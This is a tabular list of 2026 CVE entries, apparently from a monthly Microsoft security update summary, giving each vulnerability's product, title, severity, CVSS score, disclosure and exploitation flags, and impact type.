CVE-2026-48561	Microsoft Copilot Remote Code Execution Vulnerability	Critical	9.6	No	No	RCE
CVE-2026-55011	Microsoft Defender Remote Code Execution Vulnerability	Critical	7.8	No	No	RCE
CVE-2026-55012	Microsoft Defender Remote Code Execution Vulnerability	Critical	7.8	No	No	RCE
CVE-2026-55944	Microsoft Dynamics NAV and Microsoft Dynamics 365 Business Central (On Premises) Remote Code Execution Vulnerability	Critical	9.8	No	No	RCE
CVE-2026-57100 **	Microsoft Entra Provisioning Service Elevation of Privilege Vulnerability	Critical	9.9	No	No	EoP
CVE-2026-55041	Microsoft Excel Remote Code Execution Vulnerability	Critical	7.8	No	No	RCE
CVE-2026-54998 **	Microsoft Exchange Online Elevation of Privilege Vulnerability	Critical	8.8	No	No	EoP
CVE-2026-55008	Microsoft Exchange Server Spoofing Vulnerability	Critical	9.6	No	No	Spoofing
CVE-2026-54992	Microsoft Message Queuing Queue Manager Remote Code Execution Vulnerability	Critical	8.4	No	No	RCE
CVE-2026-50314	Microsoft Office Remote Code Execution Vulnerability	Critical	7.8	No	No	RCE
CVE-2026-50467	Microsoft Office Remote Code Execution Vulnerability	Critical	7.8	No	No	RCE
CVE-2026-55018	Microsoft Office Remote Code Execution Vulnerability	Critical	7.8	No	No	RCE
CVE-2026-55022	Microsoft Office Remote Code Execution Vulnerability	Critical	7.8	No	No	RCE
CVE-2026-55045	Microsoft Office Remote Code Execution Vulnerability	Critical	8.4	No	No	RCE
CVE-2026-55049	Microsoft Office Remote Code Execution Vulnerability	Critical	7.8	No	No	RCE
CVE-2026-55129	Microsoft Office Remote Code Execution Vulnerability	Critical	7.8	No	No	RCE
CVE-2026-55056	Microsoft Office Remote Code Execution Vulnerability	Critical	7.8	No	No	RCE
CVE-2026-55140	Microsoft Office Remote Code Execution Vulnerability	Critical	7.8	No	No	RCE
CVE-2026-55043	Microsoft PowerPoint Remote Code Execution Vulnerability	Critical	7.8	No	No	RCE
CVE-2026-55123	Microsoft PowerPoint Remote Code Execution Vulnerability	Critical	7.8	No	No	RCE
CVE-2026-55120	Microsoft PowerPoint Remote Code Execution Vulnerability	Critical	7.8	No	No	RCE
CVE-2026-50522	Microsoft SharePoint Remote Code Execution Vulnerability	Critical	9.8	No	No	RCE
CVE-2026-58644	Microsoft SharePoint Remote Code Execution Vulnerability	Critical	9.8	No	No	RCE
CVE-2026-55040	Microsoft SharePoint Server Security Feature Bypass Vulnerability	Critical	9.1	No	No	SFB
CVE-2026-54117	Microsoft SQL Server Remote Code Execution Vulnerability	Critical	8.8	No	No	RCE
CVE-2026-54118	Microsoft SQL Server Remote Code Execution Vulnerability	Critical	8.8	No	No	RCE
CVE-2026-50655	Microsoft Windows Media Foundation Remote Code Execution Vulnerability	Critical	7.8	No	No	RCE
CVE-2026-56189	Microsoft Windows Media Foundation Remote Code Execution Vulnerability	Critical	7.8	No	No	RCE
CVE-2026-57090	Microsoft Windows Media Foundation Remote Code Execution Vulnerability	Critical	8.8	No	No	RCE
CVE-2026-57094	Microsoft Windows Media Foundation Remote Code Execution Vulnerability	Critical	8.8	No	No	RCE
CVE-2026-57087	Microsoft Windows Media Foundation Remote Code Execution Vulnerability	Critical	8.8	No	No	RCE
CVE-2026-57092	Microsoft Windows VMSwitch Elevation of Privilege Vulnerability	Critical	9.9	No	No	EoP
CVE-2026-55033	Microsoft Word Remote Code Execution Vulnerability	Critical	7.8	No	No	RCE
CVE-2026-55127	Microsoft Word Remote Code Execution Vulnerability	Critical	7.8	No	No	RCE
CVE-2026-55132	Microsoft Word Remote Code Execution Vulnerability	Critical	7.8	No	No	RCE
CVE-2026-55010	Minecraft Bedrock Dedicated Server Remote Code Execution Vulnerability	Critical	9.8	No	No	RCE
CVE-2026-50474	Remote Desktop Client Remote Code Execution Vulnerability	Critical	8.8	No	No	RCE
CVE-2026-49164	Windows Active Directory Domain Services Remote Code Execution Vulnerability	Critical	8.1	No	No	RCE
CVE-2026-54128	Windows DHCP Client Remote Code Execution Vulnerability	Critical	8.4	No	No	RCE
CVE-2026-50518	Windows DHCP Server Remote Code Execution Vulnerability	Critical	9.8	No	No	RCE
CVE-2026-49796	Windows GDI+ Remote Code Execution Vulnerability	Critical	7.8	No	No	RCE
CVE-2026-50380	Windows GDI+ Remote Code Execution Vulnerability	Critical	9.6	No	No	RCE
CVE-2026-54127	Windows Hyper-V Elevation of Privilege Vulnerability	Critical	7.4	No	No	EoP
CVE-2026-50680	Windows Hyper-V Elevation of Privilege Vulnerability	Critical	8.2	No	No	EoP
CVE-2026-50327	Windows Media Remote Code Execution Vulnerability	Critical	7.8	No	No	RCE
CVE-2026-58542	Windows Media Remote Code Execution Vulnerability	Critical	7.8	No	No	RCE
CVE-2026-58608	Windows Print Spooler Remote Code Execution Vulnerability	Critical	8.8	No	No	RCE
CVE-2026-54982	Windows Reliable Multicast Transport Driver (RMCAST) Remote Code Execution Vulnerability	Critical	8.8	No	No	RCE
CVE-2026-54995	Windows Reliable Multicast Transport Driver (RMCAST) Remote Code Execution Vulnerability	Critical	8.1	No	No	RCE
CVE-2026-42982	Windows Secure Kernel Mode Elevation of Privilege Vulnerability	Critical	7.8	No	No	EoP
CVE-2026-50392	Windows Secure Kernel Mode Elevation of Privilege Vulnerability	Critical	7	No	No	EoP
CVE-2026-50694	Windows Secure Socket Tunneling Protocol (SSTP) Remote Code Execution Vulnerability	Critical	8.1	No	No	RCE
CVE-2026-56188	Windows Server Network driver Remote Code Execution Vulnerability	Critical	9.8	No	No	RCE
CVE-2026-50444	Windows Server Update Service (WSUS) Elevation of Privilege Vulnerability	Critical	8.8	No	No	EoP
CVE-2026-54999	Windows TCP/IP Remote Code Execution Vulnerability	Critical	8.8	No	No	RCE
CVE-2026-47302	.NET Denial of Service Vulnerability	Important	7.5	No	No	DoS
CVE-2026-50525	.NET Denial of Service Vulnerability	Important	7.5	No	No	DoS
CVE-2026-50651	.NET Denial of Service Vulnerability	Important	7.5	No	No	DoS
CVE-2026-57108	.NET Denial of Service Vulnerability	Important	7.5	No	No	DoS
CVE-2026-50524	.NET Framework Denial of Service Vulnerability	Important	7.5	No	No	DoS
CVE-2026-50527	.NET Framework Denial of Service Vulnerability	Important	7.5	No	No	DoS
CVE-2026-50648	.NET Framework Denial of Service Vulnerability	Important	7.5	No	No	DoS
CVE-2026-50650	.NET Framework Elevation of Privilege Vulnerability	Important	7.8	No	No	EoP
CVE-2026-50646	.NET Framework Remote Code Execution Vulnerability	Important	7.8	No	No	RCE
CVE-2026-50649	.NET Remote Code Execution Vulnerability	Important	7.8	No	No	RCE
CVE-2026-47304	.NET Security Feature Bypass Vulnerability	Important	8.1	No	No	SFB
CVE-2026-50528	.NET Security Feature Bypass Vulnerability	Important	8.2	No	No	SFB
CVE-2026-50659	.NET Spoofing Vulnerability	Important	6.5	No	No	Spoofing
CVE-2026-50526	.NET Tampering Vulnerability	Important	7	No	No	Tampering
CVE-2026-50682	Active Directory Denial of Service Vulnerability	Important	7.1	No	No	DoS
CVE-2026-55001	Active Directory Domain Services Elevation of Privilege Vulnerability	Important	7.8	No	No	EoP
CVE-2026-50647	Active Directory Federation Server Denial of Service Vulnerability	Important	7.5	No	No	DoS
CVE-2026-50684	Active Directory Federation Server Spoofing Vulnerability	Important	4.8	No	No	Spoofing
CVE-2026-56170	ASP.NET Core Denial of Service Vulnerability	Important	7.5	No	No	DoS
CVE-2026-47300	ASP.NET Core Elevation of Privilege Vulnerability	Important	8.8	No	No	EoP
CVE-2026-47303	ASP.NET Core Elevation of Privilege Vulnerability	Important	8.8	No	No	EoP
CVE-2026-50652	Azure Active Directory Denial of Service Vulnerability	Important	7.5	No	No	DoS
CVE-2026-50653	Azure Active Directory Denial of Service Vulnerability	Important	7.5	No	No	DoS
CVE-2026-57969	Azure CycleCloud Elevation of Privilege Vulnerability	Important	8.8	No	No	EoP
CVE-2026-58279	Azure CycleCloud Elevation of Privilege Vulnerability	Important	6.5	No	No	EoP
CVE-2026-47632	Azure Monitor Agent Metrics Extension Elevation of Privilege Vulnerability	Important	8.8	No	No	EoP
CVE-2026-50338	Azure Spring Apps Elevation of Privilege Vulnerability	Important	8.2	No	No	EoP
CVE-2026-50488	Clipboard User Service Elevation of Privilege Vulnerability	Important	7.8	No	No	EoP
CVE-2026-50491	Code Integrity DLL (ci.dll) Elevation of Privilege Vulnerability	Important	7	No	No	EoP
CVE-2026-50381	Composite Image File System driver (cimfs.sys) Information Disclosure Vulnerability	Important	5.5	No	No	Info
CVE-2026-50427	Content Delivery Manager Elevation of Privilege Vulnerability	Important	7.8	No	No	EoP
CVE-2026-50692	Desktop Window Manager Elevation of Privilege Vulnerability	Important	8.8	No	No	EoP
CVE-2026-58633	Desktop Window Manager Elevation of Privilege Vulnerability	Important	7.8	No	No	EoP
CVE-2026-58634	Desktop Window Manager Elevation of Privilege Vulnerability	Important	7.8	No	No	EoP
CVE-2026-50296	DirectX Graphics Kernel Elevation of Privilege Vulnerability	Important	7	No	No	EoP
CVE-2026-50375	DirectX Graphics Kernel Elevation of Privilege Vulnerability	Important	6.3	No	No	EoP
CVE-2026-50353	DirectX Graphics Kernel Elevation of Privilege Vulnerability	Important	7.8	No	No	EoP
CVE-2026-50493	DirectX Graphics Kernel Elevation of Privilege Vulnerability	Important	7.8	No	No	EoP
CVE-2026-56643	DirectX Graphics Kernel Elevation of Privilege Vulnerability	Important	7.8	No	No	EoP
CVE-2026-56644	DirectX Graphics Kernel Elevation of Privilege Vulnerability	Important	7.8	No	No	EoP
CVE-2026-58629	DirectX Graphics Kernel Elevation of Privilege Vulnerability	Important	7	No	No	EoP
CVE-2026-49174	DNS Client Tampering Vulnerability	Important	6.1	No	No	Tampering
CVE-2026-50495	DNS Client Tampering Vulnerability	Important	6.1	No	No	Tampering
CVE-2026-57088	Extensible Storage Engine (ESENT) Elevation of Privilege Vulnerability	Important	7.8	No	No	EoP
CVE-2026-50663	Game: Age of Empires II: Definitive Edition Remote Code Execution Vulnerability	Important	8.8	No	No	RCE
CVE-2026-47282	GitHub Copilot and Visual Studio Code Information Disclosure Vulnerability	Important	6.5	No	No	Info
CVE-2026-41109	GitHub Copilot and Visual Studio Code Security Feature Bypass Vulnerability	Important	8.8	No	No	SFB
CVE-2026-50510	GitHub Copilot Remote Code Execution Vulnerability	Important	7.8	No	No	RCE
CVE-2026-49787	HTTP.sys Denial of Service Vulnerability	Important	7.5	No	No	DoS
CVE-2026-50420	HTTP.sys Information Disclosure Vulnerability	Important	6.2	No	No	Info
CVE-2026-49788	HTTP/2 Denial of Service Vulnerability	Important	7.5	No	No	DoS
CVE-2026-50696	Internet Key Exchange (IKE) Protocol Denial of Service Vulnerability	Important	7.5	No	No	DoS
CVE-2026-58617	M365 Copilot for iOS Elevation of Privilege Vulnerability	Important	8.1	No	No	EoP
CVE-2026-58595	Microsoft Bing App for IOS Spoofing Vulnerability	Important	8.1	No	No	Spoofing
CVE-2026-49162	Microsoft Brokering File System Elevation of Privilege Vulnerability	Important	7	No	No	EoP
CVE-2026-50305	Microsoft Brokering File System Elevation of Privilege Vulnerability	Important	7.8	No	No	EoP
CVE-2026-50361	Microsoft Brokering File System Elevation of Privilege Vulnerability	Important	7.8	No	No	EoP
CVE-2026-50466	Microsoft Brokering File System Elevation of Privilege Vulnerability	Important	7.8	No	No	EoP
CVE-2026-50458	Microsoft Brokering File System Elevation of Privilege Vulnerability	Important	7.8	No	No	EoP
CVE-2026-50658	Microsoft Defender for Endpoint for Mac Elevation of Privilege Vulnerability	Important	7	No	No	EoP
CVE-2026-56178	Microsoft Defender for Endpoint for Mac Elevation of Privilege Vulnerability	Important	5.5	No	No	EoP
CVE-2026-50657	Microsoft Defender for Endpoint for Mac Information Disclosure Vulnerability	Important	4.7	No	No	Info
CVE-2026-50329	Microsoft DWM Core Library Elevation of Privilege Vulnerability	Important	7.8	No	No	EoP
CVE-2026-58541	Microsoft DWM Core Library Elevation of Privilege Vulnerability	Important	7.8	No	No	EoP
CVE-2026-58596	Microsoft Edge (Chromium-based) Elevation of Privilege Vulnerability	Important	8.3	No	No	EoP
CVE-2026-57991	Microsoft Edge (Chromium-based) Information Disclosure Vulnerability	Important	7.4	No	No	Info
CVE-2026-58291	Microsoft Edge (Chromium-based) Information Disclosure Vulnerability	Important	6.1	No	No	Info
CVE-2026-57981	Microsoft Edge (Chromium-based) Remote Code Execution Vulnerability	Important	8.8	No	No	RCE
CVE-2026-57984	Microsoft Edge (Chromium-based) Remote Code Execution Vulnerability	Important	7.5	No	No	RCE
CVE-2026-57985	Microsoft Edge (Chromium-based) Remote Code Execution Vulnerability	Important	7.6	No	No	RCE
CVE-2026-57986	Microsoft Edge (Chromium-based) Remote Code Execution Vulnerability	Important	7.5	No	No	RCE
CVE-2026-57988	Microsoft Edge (Chromium-based) Remote Code Execution Vulnerability	Important	7.1	No	No	RCE
CVE-2026-57992	Microsoft Edge (Chromium-based) Remote Code Execution Vulnerability	Important	7.5	No	No	RCE
CVE-2026-58276	Microsoft Edge (Chromium-based) Remote Code Execution Vulnerability	Important	7.5	No	No	RCE
CVE-2026-56645	Microsoft Edge (Chromium-based) Remote Code Execution Vulnerability	Important	8.8	No	No	RCE
CVE-2026-57974	Microsoft Edge (Chromium-based) Remote Code Execution Vulnerability	Important	8.8	No	No	RCE
CVE-2026-57975	Microsoft Edge (Chromium-based) Remote Code Execution Vulnerability	Important	7.5	No	No	RCE
CVE-2026-58281	Microsoft Edge (Chromium-based) Remote Code Execution Vulnerability	Important	8.3	No	No	RCE
CVE-2026-58284	Microsoft Edge (Chromium-based) Remote Code Execution Vulnerability	Important	8.3	No	No	RCE
CVE-2026-58285	Microsoft Edge (Chromium-based) Remote Code Execution Vulnerability	Important	8.3	No	No	RCE
CVE-2026-58287	Microsoft Edge (Chromium-based) Remote Code Execution Vulnerability	Important	8.3	No	No	RCE
CVE-2026-58288	Microsoft Edge (Chromium-based) Remote Code Execution Vulnerability	Important	8.3	No	No	RCE
CVE-2026-58289	Microsoft Edge (Chromium-based) Remote Code Execution Vulnerability	Important	9	No	No	RCE
CVE-2026-58290	Microsoft Edge (Chromium-based) Remote Code Execution Vulnerability	Important	7.5	No	No	RCE
CVE-2026-58292	Microsoft Edge (Chromium-based) Remote Code Execution Vulnerability	Important	7.5	No	No	RCE
CVE-2026-58293	Microsoft Edge (Chromium-based) Remote Code Execution Vulnerability	Important	8.1	No	No	RCE
CVE-2026-58294	Microsoft Edge (Chromium-based) Remote Code Execution Vulnerability	Important	7.5	No	No	RCE
CVE-2026-57983	Microsoft Edge (Chromium-based) Security Feature Bypass Vulnerability	Important	8.7	No	No	SFB
CVE-2026-58295	Microsoft Edge (Chromium-based) Security Feature Bypass Vulnerability	Important	8.3	No	No	SFB
CVE-2026-58525	Microsoft Edge (Chromium-based) Security Feature Bypass Vulnerability	Important	8.2	No	No	SFB
CVE-2026-57987	Microsoft Edge (Chromium-based) Spoofing Vulnerability	Important	6.5	No	No	Spoofing
CVE-2026-58278	Microsoft Edge (Chromium-based) Spoofing Vulnerability	Important	5.4	No	No	Spoofing
CVE-2026-56646	Microsoft Edge (Chromium-based) Spoofing Vulnerability	Important	6.5	No	No	Spoofing
CVE-2026-57977	Microsoft Edge (Chromium-based) Spoofing Vulnerability	Important	7.1	No	No	Spoofing
CVE-2026-57993	Microsoft Edge (Chromium-based) Spoofing Vulnerability	Important	7.4	No	No	Spoofing
CVE-2026-58282	Microsoft Edge (Chromium-based) Spoofing Vulnerability	Important	8.1	No	No	Spoofing
CVE-2026-58283	Microsoft Edge (Chromium-based) Spoofing Vulnerability	Important	8.1	No	No	Spoofing
CVE-2026-58286	Microsoft Edge (Chromium-based) Spoofing Vulnerability	Important	8.1	No	No	Spoofing
CVE-2026-58298	Microsoft Edge (Chromium-based) Spoofing Vulnerability	Important	7.2	No	No	Spoofing
CVE-2026-58524	Microsoft Edge (Chromium-based) Spoofing Vulnerability	Important	5.4	No	No	Spoofing
CVE-2026-58296	Microsoft Edge for Android Information Disclosure Vulnerability	Important	7.1	No	No	Info
CVE-2026-58297	Microsoft Edge for Android Information Disclosure Vulnerability	Important	7.1	No	No	Info
CVE-2026-58300	Microsoft Edge for Android Information Disclosure Vulnerability	Important	6.2	No	No	Info
CVE-2026-58522	Microsoft Edge for Android Information Disclosure Vulnerability	Important	6.8	No	No	Info
CVE-2026-58299	Microsoft Edge for Android Remote Code Execution Vulnerability	Important	7.5	No	No	RCE
CVE-2026-58523	Microsoft Edge for Android Security Feature Bypass Vulnerability	Important	6.5	No	No	SFB
CVE-2026-50678	Microsoft Excel Information Disclosure Vulnerability	Important	6.6	No	No	Info
CVE-2026-54988	Microsoft Excel Information Disclosure Vulnerability	Important	6.1	No	No	Info
CVE-2026-48580	Microsoft Excel Information Disclosure Vulnerability	Important	5.5	No	No	Info
CVE-2026-50408	Microsoft Excel Information Disclosure Vulnerability	Important	5.5	No	No	Info
CVE-2026-55046	Microsoft Excel Information Disclosure Vulnerability	Important	5.5	No	No	Info
CVE-2026-55138	Microsoft Excel Information Disclosure Vulnerability	Important	5.5	No	No	Info
CVE-2026-55054	Microsoft Excel Information Disclosure Vulnerability	Important	6.5	No	No	Info
CVE-2026-55122	Microsoft Excel Information Disclosure Vulnerability	Important	7.1	No	No	Info
CVE-2026-55898	Microsoft Excel Information Disclosure Vulnerability	Important	6.1	No	No	Info
CVE-2026-50675	Microsoft Excel Remote Code Execution Vulnerability	Important	7.8	No	No	RCE
CVE-2026-55899	Microsoft Excel Remote Code Execution Vulnerability	Important	7.8	No	No	RCE
CVE-2026-55948	Microsoft Excel Remote Code Execution Vulnerability	Important	7.8	No	No	RCE
CVE-2026-58618	Microsoft Excel Remote Code Execution Vulnerability	Important	7.8	No	No	RCE
CVE-2026-47642	Microsoft Excel Remote Code Execution Vulnerability	Important	7.8	No	No	RCE
CVE-2026-55024	Microsoft Excel Remote Code Execution Vulnerability	Important	7.8	No	No	RCE
CVE-2026-55025	Microsoft Excel Remote Code Execution Vulnerability	Important	7.8	No	No	RCE
CVE-2026-55031	Microsoft Excel Remote Code Execution Vulnerability	Important	7.8	No	No	RCE
CVE-2026-55048	Microsoft Excel Remote Code Execution Vulnerability	Important	7.8	No	No	RCE
CVE-2026-55029	Microsoft Excel Remote Code Execution Vulnerability	Important	7.8	No	No	RCE
CVE-2026-55039	Microsoft Excel Remote Code Execution Vulnerability	Important	7.8	No	No	RCE
CVE-2026-55136	Microsoft Excel Remote Code Execution Vulnerability	Important	7.8	No	No	RCE
CVE-2026-55141	Microsoft Excel Remote Code Execution Vulnerability	Important	7.8	No	No	RCE
CVE-2026-55036	Microsoft Excel Remote Code Execution Vulnerability	Important	7.8	No	No	RCE
CVE-2026-55044	Microsoft Excel Remote Code Execution Vulnerability	Important	7.8	No	No	RCE
CVE-2026-55037	Microsoft Excel Remote Code Execution Vulnerability	Important	7.8	No	No	RCE
CVE-2026-55058	Microsoft Excel Remote Code Execution Vulnerability	Important	7.8	No	No	RCE
CVE-2026-55137	Microsoft Excel Remote Code Execution Vulnerability	Important	7.8	No	No	RCE
CVE-2026-55053	Microsoft Excel Remote Code Execution Vulnerability	Important	7.8	No	No	RCE
CVE-2026-55131	Microsoft Excel Remote Code Execution Vulnerability	Important	7.8	No	No	RCE
CVE-2026-54131	Microsoft Excel Remote Code Execution Vulnerability	Important	7.8	No	No	RCE
CVE-2026-55947	Microsoft Excel Remote Code Execution Vulnerability	Important	7.8	No	No	RCE
CVE-2026-55949	Microsoft Excel Remote Code Execution Vulnerability	Important	7.8	No	No	RCE
CVE-2026-56156	Microsoft Excel Remote Code Execution Vulnerability	Important	7.8	No	No	RCE
CVE-2026-55006	Microsoft Exchange Server Elevation of Privilege Vulnerability	Important	7.8	No	No	EoP
CVE-2026-55009	Microsoft Exchange Server Elevation of Privilege Vulnerability	Important	7.8	No	No	EoP
CVE-2026-55005	Microsoft Exchange Server Remote Code Execution Vulnerability	Important	8.8	No	No	RCE
CVE-2026-56642	Microsoft Fabric Data Warehouse Remote Code Execution Vulnerability	Important	8.8	No	No	RCE
CVE-2026-50343	Microsoft Install Service Elevation of Privilege Vulnerability	Important	7.8	No	No	EoP
CVE-2026-50439	Microsoft Message Queuing Queue Manager Remote Code Execution Vulnerability	Important	8.1	No	No	RCE
CVE-2026-58537	Microsoft NAT Helper Components (ipnathlp.dll) Elevation of Privilege Vulnerability	Important	7.8	No	No	EoP
CVE-2026-56193	Microsoft Office Information Disclosure Vulnerability	Important	7.1	No	No	Info
CVE-2026-55023	Microsoft Office Information Disclosure Vulnerability	Important	5.5	No	No	Info
CVE-2026-55026	Microsoft Office Information Disclosure Vulnerability	Important	6.2	No	No	Info
CVE-2026-55027	Microsoft Office Information Disclosure Vulnerability	Important	5.5	No	No	Info
CVE-2026-55028	Microsoft Office Information Disclosure Vulnerability	Important	5.5	No	No	Info
CVE-2026-55047	Microsoft Office Information Disclosure Vulnerability	Important	5.5	No	No	Info
CVE-2026-55035	Microsoft Office Information Disclosure Vulnerability	Important	5.5	No	No	Info
CVE-2026-55057	Microsoft Office Information Disclosure Vulnerability	Important	5.5	No	No	Info
CVE-2026-55121	Microsoft Office Information Disclosure Vulnerability	Important	5.5	No	No	Info
CVE-2026-55042	Microsoft Office Information Disclosure Vulnerability	Important	5.5	No	No	Info
CVE-2026-55139	Microsoft Office Information Disclosure Vulnerability	Important	5.5	No	No	Info
CVE-2026-50665	Microsoft Office Information Disclosure Vulnerability	Important	7.8	No	No	Info
CVE-2026-56192	Microsoft Office Information Disclosure Vulnerability	Important	5.5	No	No	Info
CVE-2026-56195	Microsoft Office Information Disclosure Vulnerability	Important	5.5	No	No	Info
CVE-2026-47290	Microsoft Office Remote Code Execution Vulnerability	Important	7.8	No	No	RCE
CVE-2026-50301	Microsoft Office Remote Code Execution Vulnerability	Important	7.8	No	No	RCE
CVE-2026-55017	Microsoft Office Remote Code Execution Vulnerability	Important	7.8	No	No	RCE
CVE-2026-55125	Microsoft Office Remote Code Execution Vulnerability	Important	7.8	No	No	RCE
CVE-2026-55133	Microsoft OneNote Remote Code Execution Vulnerability	Important	7.8	No	No	RCE
CVE-2026-58636	Microsoft PC Manager Elevation of Privilege Vulnerability	Important	7.8	No	No	EoP
CVE-2026-50438	Microsoft PC Manager Elevation of Privilege Vulnerability	Important	8.8	No	No	EoP
CVE-2026-58647	Microsoft PowerBI Report Server Spoofing Vulnerability	Important	8	No	No	Spoofing
CVE-2026-55052	Microsoft SharePoint Elevation of Privilege Vulnerability	Important	8.8	No	No	EoP
CVE-2026-58277	Microsoft SharePoint Elevation of Privilege Vulnerability	Important	8.8	No	No	EoP
CVE-2026-55051	Microsoft SharePoint Server Information Disclosure Vulnerability	Important	6.5	No	No	Info
CVE-2026-54108	Microsoft SharePoint Server Spoofing Vulnerability	Important	6.5	No	No	Spoofing
CVE-2026-55016	Microsoft SharePoint Server Spoofing Vulnerability	Important	4.6	No	No	Spoofing
CVE-2026-55019	Microsoft SharePoint Server Spoofing Vulnerability	Important	4.6	No	No	Spoofing
CVE-2026-55020	Microsoft SharePoint Server Spoofing Vulnerability	Important	4.6	No	No	Spoofing
CVE-2026-55021	Microsoft SharePoint Server Spoofing Vulnerability	Important	7.3	No	No	Spoofing
CVE-2026-55030	Microsoft SharePoint Server Spoofing Vulnerability	Important	4.6	No	No	Spoofing
CVE-2026-55034	Microsoft SharePoint Server Spoofing Vulnerability	Important	7.3	No	No	Spoofing
CVE-2026-55126	Microsoft SharePoint Server Spoofing Vulnerability	Important	7.3	No	No	Spoofing
CVE-2026-55135	Microsoft SharePoint Server Spoofing Vulnerability	Important	4.6	No	No	Spoofing
CVE-2026-56157	Microsoft SharePoint Server Spoofing Vulnerability	Important	5.4	No	No	Spoofing
CVE-2026-47296	Microsoft SQL Server Elevation of Privilege Vulnerability	Important	7.8	No	No	EoP
CVE-2026-55002	Microsoft SQL Server Elevation of Privilege Vulnerability	Important	7.8	No	No	EoP
CVE-2026-47295	Microsoft SQL Server Elevation of Privilege Vulnerability	Important	8.8	No	No	EoP
CVE-2026-50468	Microsoft SQL Server Information Disclosure Vulnerability	Important	6.5	No	No	Info
CVE-2026-54116	Microsoft SQL Server Information Disclosure Vulnerability	Important	6.5	No	No	Info
CVE-2026-42900	Microsoft Windows App Store Elevation of Privilege Vulnerability	Important	8.1	No	No	EoP
CVE-2026-49784	Microsoft Windows App Store Elevation of Privilege Vulnerability	Important	7	No	No	EoP
CVE-2026-50356	Microsoft Windows App Store Elevation of Privilege Vulnerability	Important	7	No	No	EoP
CVE-2026-49165	Microsoft Windows App Store Information Disclosure Vulnerability	Important	7.1	No	No	Info
CVE-2026-54993	Microsoft Windows Media Foundation Remote Code Execution Vulnerability	Important	7.8	No	No	RCE
CVE-2026-58610	Microsoft Windows Media Foundation Remote Code Execution Vulnerability	Important	7.8	No	No	RCE
CVE-2026-55050	Microsoft Word Information Disclosure Vulnerability	Important	5.5	No	No	Info
CVE-2026-55124	Microsoft Word Information Disclosure Vulnerability	Important	5.5	No	No	Info
CVE-2026-55142	Microsoft Word Information Disclosure Vulnerability	Important	5.5	No	No	Info
CVE-2026-55032	Microsoft Word Remote Code Execution Vulnerability	Important	7.8	No	No	RCE
CVE-2026-55055	Microsoft Word Remote Code Execution Vulnerability	Important	7.8	No	No	RCE
CVE-2026-55038	Microsoft Word Remote Code Execution Vulnerability	Important	7.8	No	No	RCE
CVE-2026-55134	Microsoft Word Remote Code Execution Vulnerability	Important	7.8	No	No	RCE
CVE-2026-55128	Microsoft Word Remote Code Execution Vulnerability	Important	7.8	No	No	RCE
CVE-2026-55130	Microsoft Word Remote Code Execution Vulnerability	Important	7.8	No	No	RCE
CVE-2026-50359	Microsoft XML Core Services Elevation of Privilege Vulnerability	Important	7	No	No	EoP
CVE-2026-57097	Microsoft XML Security Feature Bypass Vulnerability	Important	6.4	No	No	SFB
CVE-2026-50346	Netlogon RPC Elevation of Privilege Vulnerability	Important	7.8	No	No	EoP
CVE-2026-50402	NTFS Elevation of Privilege Vulnerability	Important	7.8	No	No	EoP
CVE-2026-50506	OData for ASP.NET and ASP.NET Core Denial of Service Vulnerability	Important	7.5	No	No	DoS
CVE-2026-45646	OData for ASP.NET and ASP.NET Core Denial of Service Vulnerability	Important	7.5	No	No	DoS
CVE-2026-54989	Quality Windows Audio/Video Experience (QWAVE) Elevation of Privilege Vulnerability	Important	7	No	No	EoP
CVE-2026-50365	Remote Access Management service/API (RPC server) Elevation of Privilege Vulnerability	Important	8	No	No	EoP
CVE-2026-54990	Remote Desktop Client Remote Code Execution Vulnerability	Important	9.8	No	No	RCE
CVE-2026-58594	Remote Desktop Client Remote Code Execution Vulnerability	Important	8.8	No	No	RCE
CVE-2026-56190	Remote Desktop Protocol Remote Code Execution Vulnerability	Important	9.8	No	No	RCE
CVE-2026-49783	Secure Boot Security Feature Bypass Vulnerability	Important	7.8	No	No	SFB
CVE-2026-42990	SQL Server ODBC driver Elevation of Privilege Vulnerability	Important	9.8	No	No	EoP
CVE-2026-49168	Storage Spaces Direct Elevation of Privilege Vulnerability	Important	6.2	No	No	EoP
CVE-2026-48581	Surface Broker SDMA Elevation of Privilege Vulnerability	Important	7.8	No	No	EoP
CVE-2026-49180	Universal Plug and Play (upnp.dll) Information Disclosure Vulnerability	Important	5.5	No	No	Info
CVE-2026-50455	Universal Plug and Play (upnp.dll) Information Disclosure Vulnerability	Important	5.5	No	No	Info
CVE-2026-54111	Universal Print Management Service Elevation of Privilege Vulnerability	Important	7	No	No	EoP
CVE-2026-58543	Universal Print Management Service Elevation of Privilege Vulnerability	Important	6.3	No	No	EoP
CVE-2026-58601	Virtual Hard Disk (VHD) Miniport Driver Elevation of Privilege Vulernability	Important	7.8	No	No	EoP
CVE-2026-50520	Visual Studio Code Remote Code Execution Vulnerability	Important	8.4	No	No	RCE
CVE-2026-45496	Visual Studio Code Security Feature Bypass Vulnerability	Important	5.5	No	No	SFB
CVE-2026-57101	Visual Studio Code Security Feature Bypass Vulnerability	Important	7.1	No	No	SFB
CVE-2026-57102	Visual Studio Code Security Feature Bypass Vulnerability	Important	8.8	No	No	SFB
CVE-2026-47305	Visual Studio Remote Code Execution Vulnerability	Important	7.8	No	No	RCE
CVE-2026-49805	Win32k Elevation of Privilege Vulnerability	Important	7	No	No	EoP
CVE-2026-50297	Win32k Elevation of Privilege Vulnerability	Important	7	No	No	EoP
CVE-2026-50325	Win32k Elevation of Privilege Vulnerability	Important	7	No	No	EoP
CVE-2026-50489	Win32k Elevation of Privilege Vulnerability	Important	8.8	No	No	EoP
CVE-2026-57095	Win32k Elevation of Privilege Vulnerability	Important	6.2	No	No	EoP
CVE-2026-50416	Win32k Information Disclosure Vulnerability	Important	3.3	No	No	Info
CVE-2026-56184	Win32k Information Disclosure Vulnerability	Important	5.5	No	No	Info
CVE-2026-50432	Window Virtual Filtering Platform (VFP) Denial of Service Vulnerability	Important	5.3	No	No	DoS
CVE-2026-54119	Windows Active Directory Denial of Service Vulnerability	Important	7.5	No	No	DoS
CVE-2026-57976	Windows Active Directory Domain Services Denial of Service Vulnerability	Important	6.5	No	No	DoS
CVE-2026-50366	Windows Active Directory Domain Services Denial of Service Vulnerability	Important	6.5	No	No	DoS
CVE-2026-49178	Windows Active Directory Domain Services Remote Code Execution Vulnerability	Important	8.8	No	No	RCE
CVE-2026-58529	Windows Active Directory Federation Services (ADFS) Information Disclosure Vulnerability	Important	7.1	No	No	Info
CVE-2026-54983	Windows Active Directory Federation Services Denial of Service Vulnerability	Important	7.5	No	No	DoS
CVE-2026-50695	Windows Active Directory Federation Services Denial of Service Vulnerability	Important	7.5	No	No	DoS
CVE-2026-50304	Windows Active Directory Federation Services Denial of Service Vulnerability	Important	7.5	No	No	DoS
